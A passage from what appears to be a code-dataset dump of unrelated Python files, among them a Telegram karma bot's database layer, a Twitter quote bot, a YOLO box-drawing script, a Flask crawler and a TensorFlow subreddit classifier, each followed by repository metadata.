selectcmd = \"SELECT user_id, username, first_name, last_name from telegram_user tu where tu.user_id=%s\"\n # TODO: upsert to update values otherwise username, firstname, lastname wont ever change\n # print(\"user with id: \" + str(user_id) + \" not found: creating user\")\n insertcmd = \"\"\"INSERT into telegram_user\n (user_id, username, first_name, last_name) VALUES (%s,%s,%s,%s)\n ON CONFLICT (user_id) DO UPDATE\n SET username = EXCLUDED.username,\n first_name = EXCLUDED.first_name,\n last_name = EXCLUDED.last_name\n \"\"\"\n crs.execute(insertcmd,\n [user.get_user_id(),\n user.get_username(),\n user.get_first_name(),\n user.get_last_name()])\n self.conn.commit()\n crs.execute(selectcmd, [user.get_user_id()])\n (user_id, username, first_name, last_name) = crs.fetchone()\n return User(user_id, username, first_name, last_name)\n\n def save_or_create_chat(self, chat: Telegram_Chat):\n \"\"\"Creates chat if not exists otherwise updates chat_name\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n insertcmd = \"\"\"INSERT into telegram_chat\n (chat_id, chat_name) VALUES (%s,%s)\n ON CONFLICT (chat_id) DO UPDATE\n SET chat_name = EXCLUDED.chat_name\"\"\"\n crs.execute(insertcmd, [chat.chat_id, chat.chat_name])\n self.conn.commit()\n\n def does_chat_exist(self, chat_id: str) -> bool:\n \"\"\"Returns true if chat exists\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n selectcmd = \"SELECT chat_id, chat_name FROM telegram_chat tc where tc.chat_id=%s\"\n crs.execute(selectcmd, [chat_id])\n return crs.fetchone() is not None\n\n def save_or_create_user_in_chat(self,\n user: User,\n chat_id: str,\n change_karma=0) -> User_in_Chat:\n \"\"\"Creates user in chat if not exists otherwise updates user_in_chat karma\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n # TODO: instead of select first, do insert and then trap exception\n # if primary key exists\n # selectcmd = \"SELECT user_id, chat_id, karma FROM user_in_chat uic where uic.user_id=%s AND uic.chat_id=%s\"\n\n insertcmd_karma = \"\"\"INSERT into user_in_chat\n (user_id, chat_id, karma) VALUES (%s,%s,%s)\n ON CONFLICT (user_id,chat_id) DO UPDATE SET karma = user_in_chat.karma + %s\n RETURNING karma\n \"\"\"\n\n # TODO: used named parameters instead of %s to not have to repeat\n # these params\n crs.execute(\n insertcmd_karma, [\n user.get_user_id(), chat_id, change_karma, change_karma])\n\n row = crs.fetchone()\n self.conn.commit()\n karma = row[0]\n return User_in_Chat(user.id, chat_id, karma)\n\n def user_reply_to_message(self,\n reply_from_user_unsaved: User,\n reply_to_user_unsaved: User,\n chat: Telegram_Chat,\n original_message: Telegram_Message,\n reply_message: Telegram_Message,\n karma: int):\n \"\"\"Processes a user replying to another users message with a given karma.\n Saves both users, both messages, updates user in chat and creates a user_reacted_to_message row\"\"\"\n user: User = self.save_or_create_user(reply_from_user_unsaved)\n reply_to_user: User = self.save_or_create_user(reply_to_user_unsaved)\n if not self.does_chat_exist(chat.chat_id):\n self.save_or_create_chat(chat)\n\n uic: User_in_Chat = self.save_or_create_user_in_chat(user, chat.chat_id)\n self.save_or_create_user_in_chat(reply_to_user, chat.chat_id)\n\n insert_message = \"\"\"INSERT INTO telegram_message\n (message_id,chat_id, author_user_id, message_text)\n VALUES (%s,%s,%s,%s)\n ON CONFLICT (message_id) DO UPDATE\n SET message_text = EXCLUDED.message_text;\n \"\"\"\n inserturtm = \"\"\"INSERT INTO user_reacted_to_message\n (user_id,message_id,react_score,react_message_id)\n VALUES (%s,%s,%s,%s)\"\"\"\n\n # TODO: manage this with a constraint rather than having to select\n selecturtmunique = \"\"\"SELECT react_score from user_reacted_to_message urtm where urtm.user_id=%s and urtm.message_id=%s\"\"\"\n # none if user hasn't reacted yet\n user_previous_react = None\n with self.conn:\n with self.conn.cursor() as crs:\n args_select_urtm = [uic.user_id, original_message.message_id]\n crs.execute(selecturtmunique, args_select_urtm)\n result = crs.fetchone()\n if result is not None:\n user_previous_react = result[0]\n\n # TODO: add gaurd for karma == 1 or == -1 up higher\n if user_previous_react is None or user_previous_react != karma:\n if karma in (1, -1):\n self.save_or_create_user_in_chat(\n reply_to_user, chat.chat_id, change_karma=karma)\n else:\n #TODO: move logging into handler\n logging.info(\n f\"invalid karma: {karma} passed to user_reply_to_message\")\n with self.conn:\n with self.conn.cursor() as crs:\n args_reply_message = [\n reply_message.message_id,\n chat.chat_id,\n uic.user_id,\n reply_message.message_text]\n args_original_message = [\n original_message.message_id,\n chat.chat_id,\n original_message.author_user_id,\n original_message.message_text]\n crs.execute(insert_message, args_reply_message)\n crs.execute(insert_message, args_original_message)\n argsurtm = [\n uic.user_id,\n original_message.message_id,\n karma,\n reply_message.message_id]\n crs.execute(inserturtm, argsurtm)\n\n #TODO: determine if this should be in the public api (super)\n def did_user_react_to_messages(self, username: str) -> bool:\n \"\"\"Returns true if a user has responded to some messages\"\"\"\n select_user_replies = \"\"\"select username, message_id, react_score, react_message_id from telegram_user tu\n left join user_reacted_to_message urtm on urtm.user_id=tu.user_id\n where tu.username = %s\"\"\"\n reacted_messages_result = None\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(select_user_replies, [username])\n reacted_messages_result = crs.fetchone()\n return reacted_messages_result is not None\n\n def get_karma_for_user_in_chat(self,\n username: str,\n chat_id: str) -> Optional[int]:\n \"\"\"Returns karma for a particular user in chat\n if that uic does not exist, return None\"\"\"\n cmd = \"\"\"select karma from telegram_user tu\n LEFT JOIN user_in_chat uic ON uic.user_id=tu.user_id\n where tu.username=%s AND uic.chat_id=%s\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n # TODO: handle | psycopg2.ProgrammingError: relation \"user_in_chat\"\n # does not exist\n crs.execute(cmd, [username, chat_id])\n result = crs.fetchone()\n if result is not None:\n return result[0]\n return result\n\n # TODO: pass in user_id\n # TODO: implement this as a stored procedure instead since there is a number of round trips\n # TODO: return some structure and then parse it\n\n def get_user_stats(self, username: str, chat_id: str) -> Dict:\n \"\"\"Returns Dictionary of statistics for a user given a username\"\"\"\n user = self.get_user_by_username(username)\n if user is None:\n raise UserNotFound()\n user_has_reacts = self.did_user_react_to_messages(username)\n karma = self.get_karma_for_user_in_chat(username, chat_id)\n if karma is None:\n karma = 0\n\n output_dict = None\n if not user_has_reacts:\n output_dict = {\n 'username': username,\n 'karma': karma,\n 'upvotes_given': 0,\n 'downvotes_given': 0,\n 'total_votes_given': 0,\n 'net_karma_given': 0}\n else:\n # how many reacts given out by user\n how_many_user_reacted_to_stats = \"\"\"select react_score, count(react_score)from\n (select username, message_id, react_score, react_message_id from telegram_user tu\n left join user_reacted_to_message urtm on urtm.user_id=tu.user_id\n where tu.username = %s) as sub left join telegram_message tm on tm.message_id= sub.message_id\n where tm.chat_id=%s group by react_score;\"\"\"\n # TODO: implement how many reacts recieved by user\n negative_karma_given = 0\n positive_karma_given = 0\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(\n how_many_user_reacted_to_stats, [\n username, chat_id])\n rows = crs.fetchall()\n # there are only two rows\n for row in rows:\n if row[0] == -1:\n negative_karma_given = int(row[1])\n if row[0] == 1:\n positive_karma_given = int(row[1])\n\n # TODO: make this output type a class instead to bundle this info\n output_dict = {\n 'username': username,\n 'karma': karma,\n 'upvotes_given': positive_karma_given,\n 'downvotes_given': negative_karma_given,\n 'total_votes_given': positive_karma_given + negative_karma_given,\n 'net_karma_given': positive_karma_given - negative_karma_given}\n return output_dict\n\n def get_chat_info(self, chat_id: str) -> Dict:\n \"\"\"Returns Dictionary of statistics for a chat given a chat_id\"\"\"\n count_reacts_cmd = \"\"\"select count(tm.message_id) from user_reacted_to_message urtm\n left join telegram_message tm ON tm.message_id = urtm.message_id\n where tm.chat_id=%s\"\"\"\n select_user_with_karma_count = \"\"\"\n select count(*) from telegram_chat tc\n left join user_in_chat uic on uic.chat_id = tc.chat_id\n where tc.chat_id=%s\n \"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n reply_count = None\n user_with_karma_count = None\n crs.execute(count_reacts_cmd, [chat_id])\n result = crs.fetchone()\n if result is not None:\n reply_count = result[0]\n else:\n reply_count = 0\n\n crs.execute(select_user_with_karma_count, [chat_id])\n result = crs.fetchone()\n if result is not None:\n user_with_karma_count = result[0]\n else:\n user_with_karma_count = 0\n return {'reply_count': reply_count,\n 'user_with_karma_count': user_with_karma_count}\n\n def get_responses_per_day(self, chat_id: str) -> Optional[Tuple[str, str]]:\n \"\"\"Returns responses per day per chat\"\"\"\n cmd = \"\"\"select date_trunc('day',tm.message_time ) \"day\", count(*) as result_nums\n from user_reacted_to_message urtm \n LEFT JOIN telegram_message tm ON tm.message_id=urtm.message_id\n WHERE tm.chat_id = %s AND tm.message_time is not null\n group by 1\n order by 1\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(cmd, [chat_id])\n return crs.fetchall()\n\n def clear_chat_with_bot(self, chat_id, user_id):\n if chat_id != user_id:\n raise ValueError(\"Not a chat with a bot. Don't delete group chats\")\n\n chat_id_str = str(chat_id)\n # delete user_in_chat\n del_user_in_chat_cmd = \"DELETE FROM user_in_chat uic WHERE uic.chat_id = %s\"\n\n # TODO: delete user_reacted_to_message find all message in chat, find all urtm with those messages then delete them\n del_user_reacted_to_message_cmd = \"\"\"DELETE FROM user_reacted_to_message urtmd WHERE id IN\n (select urtm.id as user_reacted_to_message_id FROM (select tm.message_id from telegram_message tm where tm.chat_id = %s) as message_in_chat\n LEFT JOIN user_reacted_to_message urtm on urtm.message_id=message_in_chat.message_id);\"\"\"\n\n # delete all telegram_messages with matching chat id\n del_telegram_messages = \"\"\"DELETE FROM user_reacted_to_message urtmd WHERE id IN\n (select urtm.id as user_reacted_to_message_id FROM (select tm.message_id from telegram_message tm where tm.chat_id = %s) as message_in_chat\n LEFT JOIN user_reacted_to_message urtm on urtm.message_id=message_in_chat.message_id);\"\"\"\n\n del_command_used = \"\"\"DELETE FROM command_used cu where chat_id=%s\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(del_user_in_chat_cmd, [chat_id_str])\n crs.execute(del_user_reacted_to_message_cmd, [chat_id_str])\n crs.execute(del_telegram_messages, [chat_id_str])\n crs.execute(del_command_used, [chat_id_str])\n #TODO: don't return optional\n\n def get_chats_user_is_in(self, user_id: int) -> Optional[List[Tuple[str, str]]]:\n \"\"\"Returns a list of chat_ids and chat names \"\"\"\n cmd = \"\"\"SELECT tc.chat_id, tc.chat_name from user_in_chat uic\n LEFT JOIN telegram_chat tc on tc.chat_id = uic.chat_id\n where uic.user_id = %s\n \"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(cmd, [user_id])\n return crs.fetchall()\n\n def get_chat_name(self, chat_id: str) -> Optional[str]:\n \"\"\"Returns chat name\"\"\"\n cmd = \"\"\"select chat_name from telegram_chat tc where tc.chat_id=%s\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(cmd, [chat_id])\n result = crs.fetchone()\n if result is None:\n return None\n else:\n return result[0] # unpack\n\n def create_chat_if_not_exists(self, chat_id: str):\n \"\"\"Creates chat if not exists otherwise does nothing\"\"\"\n with self.conn:\n with self.conn.cursor() as crs: # I would love type hints here but psycopg2.cursor isn't a defined class\n insertcmd = \"\"\"INSERT into telegram_chat\n (chat_id) VALUES (%s)\n ON CONFLICT (chat_id) DO NOTHING\"\"\"\n crs.execute(insertcmd, [chat_id])\n self.conn.commit()\n\n def use_command(self, command: str, user: User, chat_id: str, arguments=\"\"):\n \"\"\"Handler to log when commands are used and with which arguments\"\"\"\n self.create_chat_if_not_exists(chat_id)\n self.save_or_create_user(user)\n\n insertcmd = \"\"\"INSERT INTO command_used (command,arguments,user_id,chat_id) VALUES (%s,%s,%s,%s)\"\"\"\n with self.conn:\n with self.conn.cursor() as crs:\n crs.execute(insertcmd, [command, arguments, user.id, chat_id])\n\n\nclass Neo4jKarmabotDatabaseService(KarmabotDatabaseService):\n \"\"\"Does connections to neo4j\"\"\"\n pass\n\n","repo_name":"schafezp/karmabot","sub_path":"karmabot/telegramservice.py","file_name":"telegramservice.py","file_ext":"py","file_size_in_byte":21661,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"29595566090","text":"import random\nimport tweepy\nimport click\n\ndef _get_random_quote():\n return random.choice(_quotes)\n\n@click.command()\n@click.argument(\"consumer_key\")\n@click.argument(\"consumer_secret\")\ndef authenticate(consumer_key, consumer_secret):\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\n try:\n url = auth.get_authorization_url()\n except tweepy.TweepError:\n click.echo(\"Failed to get request token.\")\n\n click.echo(\"Setting up authentication. Please visit this URL:\")\n click.echo(url)\n verifier = click.prompt(\"Enter the authorisation PIN from Twitter\")\n\n try:\n auth.get_access_token(verifier)\n except tweepy.TweepError:\n click.echo(\"Error! Failed to get access token.\")\n\n with open(\"OAUTH_CONSUMER\", \"w\") as f:\n click.echo(consumer_key, file=f)\n click.echo(consumer_secret, file=f)\n\n with open(\"OAUTH_TOKEN\", \"w\") as f:\n click.echo(auth.access_token, file=f)\n click.echo(auth.access_token_secret, file=f)\n\n api = tweepy.API(auth)\n\n public_tweets = api.home_timeline()\n for tweet in public_tweets:\n click.echo(tweet.text)\n\n@click.command()\ndef tweet():\n with open(\"OAUTH_CONSUMER\", \"r\") as f:\n lines = f.readlines()\n consumer_key = lines[0]\n consumer_secret = lines[1]\n\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\n with open(\"OAUTH_TOKEN\", \"r\") as f:\n lines = f.readlines()\n access_token = lines[0]\n access_token_secret = lines[1]\n\n auth.set_access_token(access_token, access_token_secret)\n api = tweepy.API(auth)\n\n api.update_status(_get_random_quote())\n\n@click.group()\ndef cli():\n pass\n\ncli.add_command(authenticate)\ncli.add_command(tweet)\n\nif __name__ == '__main__':\n cli()","repo_name":"pixelistik/twitter-reminderbot","sub_path":"reminderbot.py","file_name":"reminderbot.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43264776709","text":"import cv2\nimport os\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimgPath=\"./haze\"\nresPath=\"./result/2/\"\n\n#先删掉txt开头结尾无用信息 第一个检测用时较长统一长度Predicted in 211.740000 milli-seconds -->21.740000 milli-seconds\nwith open(\"result.txt\", \"r\") as f:\n #print(type(f))\n name=\"\"\n imgList=[] #存放name每个图片为一个元素\n imgBoxes=[] #存放name+\"*\"+检测框,每个框为一个元素\n for line in f.readlines():\n line = line.strip('\\n') #去掉列表中每一个元素的换行符\n #Enter Image Path: /xxx/xxx/xxx/xxx/JPEGImages/huwai_1_000008.jpg: Predicted in 21.531000 milli-seconds.\n if line[18]==\"/\":\n # print(\"-----name-----\")\n #xx/xx/xx/huwai_1_000008.jpg -->huwai_1_000008\n name=line[70:][:-43]\n imgList.append(line[70:][:-43])\n #print(line[70:][:-43])\n else:\n # print(name+line)\n imgBoxes.append(name+\"*\"+line)\n #huwai_1_000008*class: 99%\t(left_x: 118 top_y: 63 width: 68 height: 62)\n # print(\"-----draw-----\")\n # if line[0:3]==\"cow\":\n # print(name+line)\n # else\n # for box in imgBoxes:\n # print(box[0:box.rfind('*')]) #取*前面的name\n # print(box[box.rfind('*')+1:]) #取*后面的name包含的box\n \n \n # for imgName in imgList:\n # print(imgName)\n # for box in imgBoxes:\n # print(box[0:box.rfind('*')])\n #得到两个List后\n \n cmap = plt.get_cmap('tab20b')\n colors = [cmap(i)[:3] for i in np.linspace(0, 1, 20)]\n color = colors[int(4) % len(colors)]\n #修改int(4)里面的数字换为其他颜色\n color = [i * 255 for i in color] \n \n for imgName in imgList:\n i=0 #一个图片几个框\n im = cv2.imread(os.path.join(imgPath,imgName)+\".jpg\")\n print(imgName)\n for box in imgBoxes:\n i=i+1\n print(box[0:box.rfind('*')])\n if box[0:box.rfind('*')]==imgName: #匹配name,对于imgName的box\n boxList=box[box.rfind('*')+1:].split() #name包含的box [class,conf,_,x,_,y,_,w,_,h] str类型\n sx1=int(boxList[3])\n sy1=int(boxList[5])\n sx2=int(boxList[3])+int(boxList[7])\n sy2=int(boxList[5])+int(boxList[9][:-1])\n text=boxList[0]+boxList[1]\n \n #画框,文本\n cv2.rectangle(im,(sx1,sy1),(sx2,sy2),color,3)\n if sy1 > 25:\n cv2.rectangle(im, (sx1, sy1-20), (sx1+(len(boxList[0])+1)*17, sy1), color, -1)\n cv2.putText(im, text,(sx1, sy1-10),0, 0.75, (255,255,255),2)\n else:\n cv2.rectangle(im, (sx1, sy1), (sx1+(len(boxList[0])+1)*17, sy1+20), color, -1)\n cv2.putText(im, boxList[0] + boxList[1],(sx1, sy1+20),0, 0.75, (255,255,255),2)\n else:\n break \n cv2.imwrite(os.path.join(resPath,imgName)+\"_result.jpg\",im)\n print(\"save result:\\t\"+os.path.join(resPath,imgName)+\"_result.jpg\")\n del imgBoxes[0:i-1] #删除已经画过的框\n","repo_name":"fenglinlie/from-yolov3-result.txt-to-img","sub_path":"resDrawimg.py","file_name":"resDrawimg.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"2571223363","text":"from flask import Flask, request, jsonify\nfrom flaskapp.libs.stringGetter import getPageString\nfrom flaskapp.libs.ssg.productsParser import getProducts\n\napp = Flask(__name__)\napp.debug = True\n\n@app.route('/api/crawling/getSSG', methods=['GET'])\ndef getProductsInfo():\n keyword = request.args.get('keyword')\n url = \"http://www.ssg.com/search.ssg?target=all&query=\" + keyword\n pageString = getPageString(url)\n print(getProducts(pageString))\n return jsonify(getProducts(pageString))\n","repo_name":"owenyi/hanium","sub_path":"python/main/flaskapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22646537425","text":"import shutil\nfrom pathlib import Path\n\nbase_path = Path('ops_example')\nbase_path2 = Path('ops_example/D')\n\nif base_path.exists() and base_path.is_dir():\n \"\"\"Recursively delete a directory tree.\"\"\"\n shutil.rmtree(base_path) # usuniecie drzewa katalogów\n\n# utworzenie katalogu\nbase_path.mkdir()\n\npath_b = base_path / 'A' / 'B' # ops_example/A/B\npath_c = base_path / 'A' / 'C'\npath_d = base_path / 'A' / 'D'\n\npath_b.mkdir(parents=True) # parents=True bo musi jeszcze utworzyc katalog A zanim utworzy C\npath_c.mkdir() # tu katalog A juz był wiec umie utworzyc C\n\nfor filename in ('ex1.txt', 'ex2.txt', 'ex3.txt'):\n with open(path_b / filename, 'w', encoding='utf-8') as stream:\n stream.write(f\"Jakaś treść w pliku {filename}\")\n # ops_example/A/B/ex1.txt\n\n# przenosi do katalogu D pliki, usuneło katalog B\nshutil.move(path_b, path_d)\nex1 = path_d / 'ex1.txt'\n# zmian nazwy pliku\nex1.rename(ex1.parent / 'ex1renamed.log')\n\nprint(base_path.absolute())\n# /Users/radoslawjaniak/PycharmProjects/bootcamp-python-18-11/ops_example\n\nprint(base_path.name) # ops_example\nprint(base_path.parent.absolute())\n# /Users/radoslawjaniak/PycharmProjects/bootcamp-python-18-11\n\nprint(base_path.suffix)\nprint(ex1.suffix) # .txt\nprint(base_path.parts) # ('ops_example',)\nprint(base_path2.parts) # ('ops_example', 'D')\n","repo_name":"rajkonkret/bootcamp-python-18-11","sub_path":"6.1 - katalogi.py","file_name":"6.1 - katalogi.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8180312005","text":"import ccnpy\nimport ccnpy.flic\n\n\nclass Node(ccnpy.TlvType):\n __type = 0x0002\n\n @classmethod\n def class_type(cls):\n return cls.__type\n\n def __init__(self, node_data=None, hash_groups=None):\n \"\"\"\n\n :param node_data: (optional) ccnpy.flic.NodeData\n :param hash_groups: a list of HashGroups\n \"\"\"\n ccnpy.TlvType.__init__(self)\n if node_data is not None and not isinstance(node_data, ccnpy.flic.NodeData):\n raise TypeError(\"node_data must be ccnpy.flic.NodeData\")\n\n if hash_groups is None:\n raise ValueError(\"hash_groups must not be None\")\n\n if not isinstance(hash_groups, list) or len(hash_groups) == 0:\n raise TypeError(\"hash_groups must be a list of one or more ccnpy.flic.HashGroup\")\n\n self._node_data = node_data\n self._hash_groups = hash_groups\n\n self._tlv = ccnpy.Tlv(self.class_type(), [self._node_data, *self._hash_groups])\n\n def __len__(self):\n return len(self._tlv)\n\n def __eq__(self, other):\n if self.__dict__ == other.__dict__:\n return True\n return False\n\n def __repr__(self):\n hash_values_len = len(self.hash_values())\n return \"Node: {%r, %r, %r}\" % (self._node_data, hash_values_len, self._hash_groups)\n\n def node_data(self):\n return self._node_data\n\n def hash_groups(self):\n return self._hash_groups\n\n def serialize(self):\n return self._tlv.serialize()\n\n def serialized_value(self):\n \"\"\"\n The value of the Node's TLV byte array, which is used encrypted in an EncryptedNode via\n some algorithm.\n\n :return: byte array\n \"\"\"\n return self._tlv.value()\n\n def node_locator(self):\n \"\"\"\n A short-cut to calling node_data().locators()[0]\n :return: (node_data().locators[0], node_data.locators.final()) or (None, None)\n \"\"\"\n locator = None\n final = None\n if self._node_data is not None:\n locators = self._node_data.locators()\n if locators is not None:\n final = locators.final()\n locator = locators[0]\n return locator, final\n\n def hash_values(self):\n \"\"\"\n Return an in-order list of all pointer hash values from all hash groups\n :return: A list\n \"\"\"\n hash_values = []\n for hg in self._hash_groups:\n for hv in hg.pointers():\n hash_values.append(hv)\n return hash_values\n\n @classmethod\n def parse(cls, tlv):\n if tlv.type() != cls.class_type():\n raise RuntimeError(\"Incorrect TLV type %r\" % tlv.type())\n\n node_data = None\n hash_groups = []\n\n offset = 0\n while offset < tlv.length():\n inner_tlv = ccnpy.Tlv.deserialize(tlv.value()[offset:])\n offset += len(inner_tlv)\n\n if inner_tlv.type() == ccnpy.flic.NodeData.class_type():\n assert node_data is None\n node_data = ccnpy.flic.NodeData.parse(inner_tlv)\n\n elif inner_tlv.type() == ccnpy.flic.HashGroup.class_type():\n hash_group = ccnpy.flic.HashGroup.parse(inner_tlv)\n hash_groups.append(hash_group)\n\n else:\n raise RuntimeError(\"Unsupported packet TLV type %r\" % inner_tlv)\n\n return cls(node_data=node_data, hash_groups=hash_groups)\n","repo_name":"mmosko/ccnpy","sub_path":"ccnpy/flic/Node.py","file_name":"Node.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9861591424","text":"from random import randint\nchislo = randint(0,7)\nnumber = int(input(\"Введите число от 0 до 10: \"))\nwhile number != chislo:\n if number > chislo:\n print(\"Загаданое число меньше! уменьшааай!\")\n if number < chislo:\n print(\"Загаданное число больше!!! Надо боольше ЗОЛОТА!\")\n if number == \"\":\n print(\"Вы не ввели ЧИСЛО!!! Число хочу, давай чило!А?\")\n number = int(input(\"Попробуй еще раз введи числдо 0 до 10: \"))\n if number == chislo:\n print(number, \"Правильное число! Вы победили!\")\n number = input(\"Хотите сыграть еще раз? да/нет?\")\n if number == \"да\":\n number = int(input(\"Попробуй еще раз введи числдо 0 до 10: \"))\nprint(\"досвидания\")\n","repo_name":"igorkrisin/python","sub_path":"Код из книги/GuessingGameNumber.py","file_name":"GuessingGameNumber.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14830785466","text":"import tensorflow as tf\nfrom tensorflow import keras\n\nimport random\nimport numpy as np\nimport csv\n\nprocessed_data = open('processed_data.csv','r')\n\ndata_X = []\ndata_labels = []\n\nfirstline = processed_data.readline()\n\nmyreader = csv.reader(processed_data,delimiter=',')\nTFMap = {'True':1,'False':0}\nsublist = {\"AskReddit\":0,\"politics\":1,'worldnews':2,\n 'nba':3,'funny':4,'movies':5}\n\nfor line in myreader:\n data_X.append(np.array([int(x) for x in line[:-1]]))\n data_labels.append(np.array(sublist[line[-1]]))\n\n#test_data = np.array(train_data[4000:])\n#test_labels = np.array(train_labels[4000:])\n#train_data = np.array(train_data[:4000])\n#train_labels = np.array(train_labels[:4000])\n\nNUM_WORDS = len(data_X[0])\n\ntest_size = len(data_X)//10\nprint(\"beginning cross validation:\")\nscores = [];\nloss = []\nfor i in range(10):\n\n test_data = np.array(data_X[i*test_size:((i+1)*test_size+1)])\n test_labels = np.array(data_labels[i*test_size:((i+1)*test_size+1)])\n train_data = np.array(data_X[:i*test_size] + data_X[(i+1)*test_size+1:])\n train_labels = np.array(data_labels[:i*test_size] +\n data_labels[(i+1)*test_size+1:])\n model = keras.Sequential([\n # `input_shape` is only required here so that `.summary` works. \n keras.layers.Dense(16, activation=tf.nn.relu, input_shape=(NUM_WORDS,)),\n keras.layers.Dense(16, activation=tf.nn.relu),\n #keras.layers.Dropout(0.3),\n #keras.layers.Dense(16, activation=tf.nn.relu),\n #keras.layers.Dropout(0.3),\n keras.layers.Dense(6, activation=tf.nn.softmax)\n ])\n\n model.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\n\n model.summary()\n print(\"train size: \",len(train_data),\"test size: \", len(test_data))\n history = model.fit(train_data,\n train_labels,\n epochs=20,\n batch_size=512,\n validation_data=(test_data, test_labels),\n verbose=1)\n\n results = model.evaluate(test_data,test_labels)\n scores.append(results[1])\n loss.append(results[0])\n print(\"results\",results)\nprint(\"mean score\",np.mean(scores),\"stdev\",np.std(scores))\nprint(\"mean loss:\", np.mean(loss))\n\nimport matplotlib.pyplot as plt\n\nacc = history.history['acc']\nval_acc = history.history['val_acc']\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs = range(1, len(acc) + 1)\n\nhistory_dict = history.history\nhistory_dict.keys()\n\n# \"bo\" is for \"blue dot\"\nplt.plot(epochs, loss, 'bo', label='Training loss')\n# b is for \"solid blue line\"\nplt.plot(epochs, val_loss, 'b', label='Validation loss')\nplt.title('Training and validation loss')\nplt.xlabel('Epochs')\nplt.ylabel('Loss')\nplt.legend()\n\nplt.show()\n\nplt.clf() # clear figure\nacc_values = history_dict['acc']\nval_acc_values = history_dict['val_acc']\n\nplt.plot(epochs, acc, 'bo', label='Training acc')\nplt.plot(epochs, val_acc, 'b', label='Validation acc')\nplt.title('Training and validation accuracy')\nplt.xlabel('Epochs')\nplt.ylabel('Accuracy')\nplt.legend()\n\nplt.show()\n\n","repo_name":"bhensey/349FinalProject","sub_path":"tensorflow_process.py","file_name":"tensorflow_process.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13739081240","text":"import json\nfrom pprint import pprint\n\n\"\"\" \nget_past_matches() returns a dictionary of a user's matches, which are\nindividual dictionaries.\nSample user data:\n {\n \"general\" : {\n \"name\" : \"John Smith\",\n \"zip code\" : 94555,\n \"gender\" : \"male\",\n \"year\" : 1\n },\n \"personality\" : {\n \"extroversion\" : 0.91,\n \"sensing\" : 0.32,\n \"thinking\" : 0.75,\n \"judging\" : 0.04\n },\n \"interests\" : [1, 5, 8]\n }\n\"\"\"\n\ndef get_past_matches():\n json_file = open('dataPast.json')\n jdata = json.load(json_file)\n past_matches = [user for user in jdata['users']]\n json_file.close()\n return past_matches\n # return {\"A\",\"B\",\"C\"}\n\ndef get_current_match(username): #user is a string\n json_matches = open('matches.json')\n match_data = json.load(json_matches)\n json_current = open('dataCurrent.json')\n current_data = json.load(json_current)\n\n usr = None\n for dict in match_data['matches']:\n if username == (dict[\"person1\"]):\n usr = dict[\"person2\"]\n elif username == (dict[\"person2\"]):\n usr = dict[\"person1\"]\n \n for user in current_data['users']:\n if user[\"general\"][\"name\"] == (usr):\n json_matches.close()\n json_current.close()\n return user\n\n json_matches.close()\n json_current.close()\n return None","repo_name":"mraheja/fifteen","sub_path":"match_utils.py","file_name":"match_utils.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37160677210","text":"# coding=utf-8\nimport click\n\nfrom ch.main import check_cli_version, add_commands, print_version\n\nfrom ch.log import configure_logger\n\nimport ch\n\n\n# is_eager=True 表明该命令行选项优先级高于其他选项;\n# expose_value=False 表示如果没有输入该命令行选项,会执行既定的命令行流程;\n# callback 指定了输入该命令行选项时,要跳转执行的函数;\n\n@click.group()\n@click.option('--version', is_flag=True, callback=print_version,\n expose_value=False, is_eager=True, help=\"Show version info\")\n@click.option('-v', '--verbose', count=True, help='Turn on debug logging')\ndef cli(verbose):\n \"\"\"\n Russell CLI interacts with Russell server and executes your commands.\n More help is available under each command listed below.\n \"\"\"\n ch.CODINGHUB_HOST = \"https://api.cannot.cc\"\n ch.CODINGHUB_WEB_HOST = \"https://web.cannot.cc\"\n ch.CODINGHUB_FS_HOST = \"fs.cannot.cc\"\n ch.CODINGHUB_FS_PORT = 8081\n configure_logger(verbose)\n\n\nadd_commands(cli)\n","repo_name":"zuiwan/CodingHub-CLI","sub_path":"ch/development/dev.py","file_name":"dev.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41785596900","text":"import time\r\nimport random\r\n\r\n#Classe Nodo de uma estrutura duplamente encadeada(usado na fila)\r\nclass Nodo:\r\n def __init__(self, dado=0,proximo_nodo=None):\r\n self.dado = dado\r\n 